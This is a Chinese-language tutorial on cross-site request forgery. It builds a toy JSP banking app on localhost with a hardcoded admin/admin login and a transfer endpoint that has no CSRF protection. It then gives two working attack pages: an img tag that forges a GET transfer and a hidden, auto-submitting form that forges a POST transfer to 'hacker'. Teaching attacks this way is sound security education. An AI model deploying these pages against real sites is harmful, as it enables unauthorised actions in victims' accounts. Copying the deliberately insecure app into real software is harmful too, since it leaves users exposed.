1简介
1.1什么是CSRF
原理图:
CSRF(Cross SiteRequest Forgery),中文是跨站点请求伪造。CSRF攻击者在用户已经登录目标网站之后,诱使用户访问一个攻击页面,利用目标网站对用户的信任,以用户身份在攻击页面对目标网站发起伪造用户操作的请求,达到攻击目的。
1.2模拟转账时遭到CSRF攻击
1.2.1正常转账流程
- 首先在主页http://localhost:8080/testXSS/login.jsp输入账号密码,点击登录
- 进入成功界面后,进行转账操作
- 点击转账,成功后如下:
- 如果是其他人在其他地方直接输入登录成功后的界面
http://localhost:8080/testXSS/login_success.jsp或者 输入转账的API
http://localhost:8080/testXSS/transfer.jsp?from=infi&account=10000&to=hacker&submit=%E8%BD%AC%E8%B4%A6,则session不匹配,会跳转到登录界面:
1.2.2CSRF攻击
- 黑客自己建一个hack.jsp文件,里面包含这样一行代码
<img src="http://localhost:8080/testXSS/transfer.jsp?from=infi&account=10000&to=hacker&submit=%E8%BD%AC%E8%B4%A6">
然后将hack.jsp的链接 http://localhost:8080/testXSS/hacker.jsp发给受害人。
- 受害人点击链接后,出现的界面如下:
- 但是此时已经进行了一个将受害人的钱转给黑客的操作了,从服务端可以看出
如果黑客在自己电脑上做这个 操作,会因为session不匹配而无法进行转账
下面是代码:
login.jsp
<%@ page language="java" contentType="text/html; charset=utf-8" pageEncoding="utf-8"%> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> <title>阿飞银行</title> </head> <body> <div> <form action="dologin.jsp" method="post"> <span>用户名</span> <input type="text" name="username" /> <span>密码</span> <input type="text" name="password" /> <input type="submit" value="登录"/> </form> </div> </body> </html>
<%@ page language="java" contentType="text/html; charset=utf-8" pageEncoding="utf-8"%> <% String path=request.getContextPath(); String basePath=request.getScheme()+"://"+request.getServerName() +":"+request.getServerPort()+path+"/"; String username=""; String password=""; request.setCharacterEncoding("utf-8"); username=request.getParameter("username"); password=request.getParameter("password"); out.println(username); out.println(password); if("admin".equals(username) && "admin".equals(password)){ session.setAttribute("loginUser",username); response.sendRedirect("login_success.jsp"); }else{ response.sendRedirect("login_failure.jsp"); } %>
login_success.jsp
<%@ page language="java" contentType="text/html; charset=utf-8" pageEncoding="utf-8"%> <% String path=request.getContextPath(); String basePath=request.getScheme()+"://"+request.getServerName() +":"+request.getServerPort()+path+"/"; String username=(String)session.getAttribute("loginUser"); request.setCharacterEncoding("utf-8"); out.println(username); if( username != null){ // session.invalidate(); }else{ response.sendRedirect("login.jsp"); } %> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> <title>阿飞银行</title> </head> <body> <div> 欢迎<h3><%=session.getAttribute("loginUser") %></h3>,登录成功!!!! </div> </br></br> <form action="transfer.jsp" method="get"> 转账人: <input type="text" id="from" name="from"></br> 转账金额: <input type="text" id="account" name="account"></br> 收账人: <input type="text" id="to" name="to"></br></br> <input type="submit" id="submit" name="submit" value="转账"> </form> </body> </html>
<%@ page language="java" contentType="text/html; charset=utf-8" pageEncoding="utf-8"%> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> <title>阿飞银行</title> </head> <body> <div> 登录失败,请检查用户名或者密码!!! <a href="login.jsp">login</a> </div> </body> </html>
<%@ page language="java" contentType="text/html; charset=utf-8" pageEncoding="utf-8"%> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> <title>阿飞银行</title> </head> <body> <div> 欢迎<h3><%=session.getAttribute("loginUser") %> </div> </br></br> <% String username=(String)session.getAttribute("loginUser"); request.setCharacterEncoding("utf-8"); if( username == null){ response.sendRedirect("login.jsp"); return; } String from=""; String account=""; String to=""; request.setCharacterEncoding("utf-8"); from=request.getParameter("from"); account=request.getParameter("account"); to= request.getParameter("to"); %> <%=from%> 向 <%=to%> 转账了 <%=account%> 块钱 <% System.out.println(from + " 向 " + to + " 转账了 " + account + " 块钱"); %> </body> </html>
hacker.jsp
<%@ page language="java" import="java.util.*" pageEncoding="utf-8"%> <% String path = request.getContextPath(); String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; %> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <base href="<%=basePath%>"> <title>一个很好很好的网站</title> <meta http-equiv="pragma" content="no-cache"> <meta http-equiv="cache-control" content="no-cache"> <meta http-equiv="expires" content="0"> <meta http-equiv="keywords" content="keyword1,keyword2,keyword3"> <meta http-equiv="description" content="This is my page"> </head> <body> <img src="http://localhost:8080/testXSS/transfer.jsp?from=infi&account=10000&to=hacker&submit=%E8%BD%AC%E8%B4%A6"> </body> </html>
如果转账操作都是POST请求的话,那么就不能使用上面的方法进行CSRF攻击了。这时黑客可以做一个界面,隐藏表单,请求方式为POST,加载时自动提交表单。
将login_success.jsp里的提交方式由get改成post,然后在transfer.jsp里加上一句
if(request.getMethod().equals("GET")){ return; }这样就只处理POST请求了,这时候黑客构造另一个网页
hacker_post.html
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>攻击者主机页面</title> <script type="text/javascript"> window.onload= function(){ document.getElementById("ok").click(); } /* function gy(){ document.getElementById('ok').onclick= function(e) { }; } gy();*/ </script> </head> <body> <form style="display: none;" id="csrf" action="http://localhost:8080/testXSS/transfer.jsp" method="post" > <input type="text" name="from" value="infi"> <input type="text" name="account" value="10000"> <input type="text" name="to" value="hacker"> <input type="submit" id="ok" name="submit" value="%E8%BD%AC%E8%B4%A6" > </form> </body> </html>
然后将hacker_post.html的链接 http://localhost:8080/testXSS/hacker_post.html 发给受害人,其他操作同上